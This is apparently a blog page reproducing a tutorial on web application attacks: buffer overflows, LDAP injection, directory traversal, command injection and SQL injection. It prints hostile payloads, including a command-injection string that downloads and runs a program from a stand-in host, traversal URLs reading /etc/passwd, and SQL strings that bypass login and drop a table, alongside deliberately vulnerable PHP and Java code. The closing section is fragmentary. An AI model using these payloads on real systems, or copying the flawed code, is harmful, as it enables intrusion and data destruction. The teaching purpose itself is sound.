Information Security & US & Life & Love & Fashion & Hacking & Passion

New vulnerabilities in network services are disclosed daily to the security community and the underground alike through Internet mailing lists and various public forums. Proof-of-concept tools are often published for use by security consultants, whereas full-blown exploits are increasingly retained by hackers and not publicly disclosed in this fashion.

The following web sites are extremely useful for investigating potential vulnerabilities within network services:

SecurityFocus (http://www.securityfocus.com)

milw0rm (http://www.milw0rm.com)

Packet Storm (http://www.packetstormsecurity.org)

FrSIRT (http://www.frsirt.com)

MITRE Corporation CVE (http://cve.mitre.org)

NIST National Vulnerability Database (http://nvd.nist.gov)

ISS X-Force (http://xforce.iss.net)

CERT vulnerability notes (http://www.kb.cert.org/vuls)

Buffer overflows are one of the more complex injection attacks, as they take advantage of developers misusing memory. Like command injection, a successful buffer overflow attack gives the attacker complete control of the remote machine.

Some programming languages, such as C and C++, place memory management responsibilities on the developer. If the developer is not careful, user input could write to memory that was not intended to be written to. One such memory location is called the return address of a stack. The return address holds the memory address of the next machine instruction block to execute. If an application is vulnerable to buffer overflows, an attacker could send a very long string to the web application—longer than the developer expected. The string could potentially overwrite the return address, telling the web application what machine instructions it should execute next. The injection aspect of buffer overflows is that the attacker injects machine instructions (called shell code) into some user input. The attacker somewhat needs to know where the shell code will end up in the memory of the computer running the web application. Then the attacker overwrites the return address to point to the memory location of the shell code.

Exploiting buffer overflows are nontrivial, but finding them is not as difficult, and finding buffer overflows on a local machine is easy. You need only send very long strings in all user inputs. We suggest inputting predictable strings, such as 10,000 capital As, into each input. If the program crashes, it is most likely due to a buffer overflow. Repeat the crash while running the application in a debugger. When the program crashes, investigate the program registers. If you see 41414141 (41 is the ASCII representation of a capital A) in the SP register, you have found a buffer overflow.

Finding buffer overflows on remote machines, such as a web application, is a lot more difficult, because attackers cannot view the contents of the web application’s registers, and it may even be difficult to recognize that the web application has even crashed. The trick to finding buffer overflows on web applications is to do the following:

1. Identify what publicly available libraries or code the web application is running.

2. Download that code.

3. Test that code on your local machine to find a buffer overflow.

4. Develop exploit code that works on your local machine.

5. Attempt to execute the exploit code on the web application.

Generally, LDAP injection attacks allow users within a corporation to gain private information. This attack is usually not possible via the Internet.

Lightweight Directory Access Protocol (LDAP) is a protocol for managing and storing network resources and network users. This includes authorizing users to access computers and other resources. Some web applications use “unsanitized” user input to perform LDAP queries.

Consider a web application that takes a username as input and performs an LDAP query to display the user’s common name (cn) and phone number. For example, this request

http://intranet/ldap_query?user=rgc

returns this:

cn: Richard Cannings
telephoneNumber: 403-555-1212

The LDAP statement to perform this query is simply this:

filter = (uid=rgc)
attributes = cn, telephoneNumber

However, you can construct more elaborate filters by using Boolean operations such as OR (|) and AND (&) with various attributes such as cn, dn, sn, objectClass, telephoneNumber, manager, and so on. LDAP queries use Polish notation (also known as prefix notation), where the operators appear to the left of the operands. Furthermore, LDAP accepts the wildcard symbol (*). A more elaborate LDAP query could be something like this:

filter = (&(objectClass=person)(cn=Rich*)(|(telephoneNumber=403*)(
telephoneNumber=415*)))

This query finds people whose common name starts with Rich and phone number in either the 403 or 415 area code.

To inject arbitrary LDAP queries into a vulnerable web application, you must construct a different, yet valid, LDAP query. If this HTTP request,

http://intranet/ldap_query?user=rgc

created this filter,

(uid=rgc)

then you must create a valid LDAP filter that begins with (uid= and ends with). For example, to perform a reverse phone number lookup (that is, find the name of a person associated with a phone number), you could make this request:

http://intranet/ldap_query?user=*)(|(telephoneNumber=415-555-1212)

This creates the query

(uid=*)(|(telephoneNumber=415-555-1212))

Another interesting query is to find all the possible objectClasses. This can be performed like so:

http://intranet/ldap_query?user=*)(|(objectClass=*)

This creates the query

(uid=*)(|(objectClass=*))

Attackers use directory traversal attacks to read arbitrary files on web servers, such as SSL private keys and password files.

Some web applications open files based on HTTP parameters (user input). Consider this simple PHP application that displays a file in many languages:

<?php
$language = "main-en";
if (is_set($_GET['language']))
  $language = $_GET['language'];
include("/usr/local/webapp/static_files/" . $language . ".html");
?>

Assume that this PHP page is accessible through http://foo.com/webapp/static.php?language=main-en; an attacker can read arbitrary files from the web server by inserting some string to make the include function point to a different file. For instance, if an attacker made these GET requests,

http://foo.com/webapp/static.php?language=../../../../etc/passwd%00

the include function would open this file:

/usr/local/webapp/static_files/../../../../etc/passwd

This file is simply

/etc/passwd

Thus, the GET request would return the contents of /etc/passwd on the server. Note that the null byte (%00) ends the string, so .html would not be concatenated to the end of the filename.

This type of attack is called a directory traversal attack, and it has plagued many web servers for some time, because attackers would URL encode the ../ segments in various ways, such as these:

• %2e%2e%2f

• %2e%2e/

• ..%2f

• .%2e/

A successful command injection attack gives the attacker complete control of the remote system.

When user input is used as part of a system command, an attack may be able to inject system commands into the user input. This can happen in any programming language; however, it is very common in Perl, PHP, and shell based CGI. It is less common in Java, Phython, and C#. Consider the following PHP code snippet:

<?php
$email_subject = "some subject";

if ( isset($_GET{'email'})) {
  system("mail " + $_GET{'email'}) + " -s '" + $email_subject +
      "' < /tmp/email_body", $return_val);
}
?>

The user sends his or her e-mail address in the email parameter, and that user input is placed directly into a system command. Like SQL injection, the goal of the attacker is to inject a shell command into the email parameter while ensuring that the code before and after the email parameter is syntactically correct. Consider the system() call as a puzzle. The outer puzzle pieces are in place, and the attacker must find a puzzle piece in the middle to finish it off:

mail [MISSING PUZZLE PIECE] -s 'some subject' < /tmp/email_body

The puzzle piece needs to ensure that the mail command runs and exits properly. For example, mail --help will run and exit properly. Then the attacker could add additional shell commands by separating the commands with semicolons (;). Dealing with the puzzle piece on the other side is as simple as commenting it out with the shell comment symbol (#). Thus, a useful puzzle piece for the email parameter might be this:

--help; wget http://evil.org/attack_program; ./attack_program #

Adding this puzzle piece to the puzzle creates the following shell command:

mail --help; wget http://evil.org/attack_program; ./attack_program # s 'some subject' < /tmp/email_body

This is equivalent to this:

mail --help; wget http://evil.org/attack_program; ./attack_program

This runs mail --help and then downloads attack_program from evil.org and executes it, allowing the attacker to perform arbitrary commands on the vulnerable web site.

Attackers use SQL injection to do anything from circumvent authentication to gain complete control of databases on a remote server.

SQL, the Structured Query Language, is the de facto standard for accessing databases. Most web applications today use an SQL database to store persistent data for the application. It is likely that any web application you are testing uses an SQL database in the backend. Like many languages, SQL syntax is a mixture of database instructions and user data. If a developer is not careful, the user data could be interpreted as instructions, and a remote user could perform arbitrary instructions on the database.

Consider, for example, a simple web application that requires user authentication. Assume that this application presents a login screen asking for a username and password. The user sends the username and password over some HTTP request, whereby the web application checks the username and password against a list of acceptable usernames and passwords. Such a list is usually a database table within an SQL database.

A developer can create this list using the following SQL statement:

CREATE TABLE user_table (
  id INTEGER PRIMARY KEY,
  username VARCHAR(32),
  password VARCHAR(41)
);

This SQL code creates a table with three columns. The first column stores an ID that will be used to reference an authenticated user in the database. The second column holds the username, which is arbitrarily assumed to be 32 characters at most. The third column holds the password column, which contains a hash of the user’s password, because it is bad practice to store user passwords in their original form.

We will use the SQL function PASSWORD() to hash the password. In MySQL, the output of PASSWORD() is 41 characters.

Authenticating a user is as simple as comparing the user’s input (username and password) with each row in the table. If a row matches both the username and password provided, then the user will be authenticated as being the user with the corresponding ID. Suppose that the user sent the username lonelynerd15 and password mypassword. The user ID can be looked up:

SELECT id FROM user_table WHERE username='lonelynerd15' AND
password=PASSWORD('mypassword')

If the user was in the database table, this SQL command would return the ID associated with the user, implying that the user is authenticated. Otherwise, this SQL command would return nothing, implying that the user is not authenticated.

Automating the login seems simple enough. Consider the following Java snippet that receives the username and password from a user and authenticates the user via an SQL query:

String username = req.getParameter("username");
String password = req.getParameter("password");
String query = "SELECT id FROM user_table WHERE " +
    "username = '" + username + "' AND " +
    "password = PASSWORD('" + password + "')";

ResultSet rs = stmt.executeQuery(query);

int id = -1; // -1 implies that the user is unauthenticated.

while (rs.next()) {
      id = rs.getInt("id");
}

The first two lines grab the user input from the HTTP request. The next line constructs the SQL query. The query is executed, and the result is gathered in the while() loop. If a username and password pair match, the correct ID is returned. Otherwise, the id stays -1, which implies the user is not authenticated.

If the username and password pair match, then the user is authenticated. Otherwise, the user will not be authenticated, right?

Wrong! There is nothing stopping an attacker from injecting SQL statements in the username or password fields to change the SQL query.

Let’s re-examine the SQL query string:

String query = "SELECT id FROM user_table WHERE " +
    "username = '" + username + "' AND " +
    "password = PASSWORD('" + password + "')";

The code expects the username and password strings to be data. However, an attacker can input any characters he or she pleases. Imagine if an attacker entered the username ‘OR 1=1 -- and password x; then the query string would look like this:

SELECT id FROM user_table WHERE username = '' OR 1=1 -- ' AND password
= PASSWORD('x')

The double dash (--) tells the SQL parser that everything to the right is a comment, so the query string is equivalent to this:

SELECT id FROM user_table WHERE username = '' OR 1=1

The SELECT statement now acts much differently, because it will now return IDs where the username is a zero length string ('') or where 1=1; but 1=1 is always true! So this statement will return all the IDs from user_table.

In this case, the attacker placed SQL instructions ('OR 1=1 --) in the username field instead of data.

• ' OR 1=1 --

• ') OR 1=1 --

Error executing query: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right
syntax to use near 'SELECT (title, body) FROM blog_table WHERE
cat='OR 1=1' at line 1

String query = "SELECT id FROM user_table WHERE " +
    "username = '" + username + "' AND " +
    "password = PASSWORD('" + password + "')";

' OR 1=1; DROP TABLE user_table; --

SELECT id FROM user_table WHERE username='' OR 1=1; DROP TABLE
user_table; -- ' AND password = PASSWORD('x');

SELECT id FROM user_table WHERE username='' OR 1=1; DROP TABLE
user_table;